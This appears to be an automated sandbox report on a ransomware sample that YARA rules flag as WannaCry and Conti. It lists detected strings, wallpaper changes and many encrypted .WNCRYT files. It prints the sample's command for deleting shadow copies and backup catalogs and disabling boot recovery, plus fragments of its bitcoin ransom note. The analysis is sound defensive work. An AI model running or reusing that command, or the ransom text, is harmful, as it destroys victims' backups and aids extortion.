          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
          Source: svchost.exe, 0000002B.00000002.1368787378.0000021CF605A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
          Source: f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_39e4b8f6fd6635158ad433436bdaa069841cfdf8e1989e03
          Source: f_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/search?q=how
          Source: f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

          Spam, unwanted Advertisements and Ransom Demands

          barindex
          Yara detected Conti ransomware
          Source: Yara matchFile source: Process Memory Space: f_000112.exe PID: 6872, type: MEMORYSTR
          Yara detected Wannacry ransomware
          Source: Yara matchFile source: f_000112, type: SAMPLE
          Source: Yara matchFile source: 0.0.f_000112.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: f_000112.exe PID: 6872, type: MEMORYSTR
          Source: Yara matchFile source: C:\@WanaDecryptor@.exe, type: DROPPED
          Source: Yara matchFile source: C:\Users\user\Desktop\u.wnry, type: DROPPED
          Contains functionalty to change the wallpaper
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10004F20 swprintf,swprintf,MultiByteToWideChar,CopyFileW,CopyFileW,GetUserNameW,_wcsicmp,SystemParametersInfoW,swprintf,CopyFileW,151_2_10004F20
          Deletes shadow drive data (may be related to ransomware)
          Source: f_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
          Source: f_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
          Modifies existing user documents (likely ransomware behavior)
          Source: C:\Users\user\Desktop\f_000112.exeFile moved: C:\Users\user\Desktop\NYMMPCEIMA.pngJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile deleted: C:\Users\user\Desktop\NYMMPCEIMA.pngJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile moved: C:\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsxJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile deleted: C:\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsxJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile moved: C:\Users\user\Desktop\DUUDTUBZFW.pngJump to behavior
          Writes many files with high entropy
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRYT entropy: 7.99509902057Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\microsoft-365-logo-01d5ecd01a[1].png.WNCRYT entropy: 7.99066149925Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRYT entropy: 7.99782986143Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRYT entropy: 7.99504603508Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRYT entropy: 7.99974769469Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\otel-logger-104bffe9378b8041455c[1].js.WNCRYT entropy: 7.99821082456Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-bundle-3a99f64809c6780df035[1].js.WNCRYT entropy: 7.99984836552Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\staticpwascripts-30998bff8f[1].js.WNCRYT entropy: 7.99004377911Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRYT entropy: 7.99860878635Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRYT entropy: 7.9966696445Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRYT entropy: 7.9958056876Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRYT entropy: 7.99561737421Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRYT entropy: 7.99771738528Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRYT entropy: 7.99883776785Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js.WNCRYT entropy: 7.99031331592Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRYT entropy: 7.99639203867Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRYT entropy: 7.99294208946Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRYT entropy: 7.99989195338Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRYT entropy: 7.9998840941Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRYT entropy: 7.9999324125Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRYT entropy: 7.99803196969Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRYT entropy: 7.99977036343Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRYT entropy: 7.9996193446Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRYT entropy: 7.99950569577Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRYT entropy: 7.99776097152Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\LisgCZCwGQ4lRz4go9tlwPslw_k.br[1].js.WNCRYT entropy: 7.99021737353Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRYT entropy: 7.99901138487Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRYT entropy: 7.99943627289Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT entropy: 7.99991047054Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRYT entropy: 7.9981571699Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRYT entropy: 7.99843051687Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRYT entropy: 7.99833050334Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRYT entropy: 7.99928500934Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRYT entropy: 7.99965278262Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRYT entropy: 7.99928673199Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRYT entropy: 7.99747110655Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRYT entropy: 7.99930838696Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRYT entropy: 7.99912190854Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRYT entropy: 7.99966483621Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRYT entropy: 7.99961219602Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\vPBP7RPIJrbNZlhe-HUXYkcDX0A.br[1].js.WNCRYT entropy: 7.99695083304Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRYT entropy: 7.99939966648Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRYT entropy: 7.99834529963Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRYT entropy: 7.99967547069Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRYT entropy: 7.99890728023Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRYT entropy: 7.99820879258Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRYT entropy: 7.99987965383Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRYT entropy: 7.99479507597Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT entropy: 7.99951164696Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687200080523294.txt.WNCRYT entropy: 7.99850933981Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRYT entropy: 7.99020572897Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.WNCRYT entropy: 7.99825062911Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRYT entropy: 7.99616459662Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{f7654fd4-7ecd-4743-acf3-b2a165fc8601}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99513083513Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRYT entropy: 7.99822583324Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRYT entropy: 7.99736776038Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRYT entropy: 7.99956402558Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRYT entropy: 7.99954179951Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687200380752461.txt.WNCRYT entropy: 7.99858613173Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT entropy: 7.99815323882Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT entropy: 7.99968825896Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRYT entropy: 7.99631525668Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT entropy: 7.99913816436Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99987199429Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT entropy: 7.99926317248Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99988517552Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT entropy: 7.99967597937Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRYT entropy: 7.99108029181Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT entropy: 7.99866131333Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRYT entropy: 7.99690980752Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT entropy: 7.99967895258Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRYT entropy: 7.99103029736Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT entropy: 7.99964810598Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT entropy: 7.9940438706Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT entropy: 7.99297205569Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRYT entropy: 7.99891561265Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT entropy: 7.99043325525Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT entropy: 7.99998890747Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT entropy: 7.99906229113Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRYT entropy: 7.99801036984Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT entropy: 7.99620901969Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT entropy: 7.99452910142Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRYT entropy: 7.99998354956Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT entropy: 7.99849814956Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT entropy: 7.99170075258Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT entropy: 7.99625965637Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT entropy: 7.99867980243Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT entropy: 7.99382288564Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRYT entropy: 7.9993660955Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRYT entropy: 7.99930389397Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRYT entropy: 7.99936877069Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT entropy: 7.99969733901Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.WNCRYT entropy: 7.99238251738Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRYT entropy: 7.99988449679Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRYT entropy: 7.9996111697Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRYT entropy: 7.99987887068Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT entropy: 7.99774622888Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Temp\user.bmp.WNCRYT entropy: 7.99971817107Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Temp\jones.bmp.WNCRYT entropy: 7.99968992864Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT entropy: 7.99137432533Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT entropy: 7.99983638734Jump to dropped file
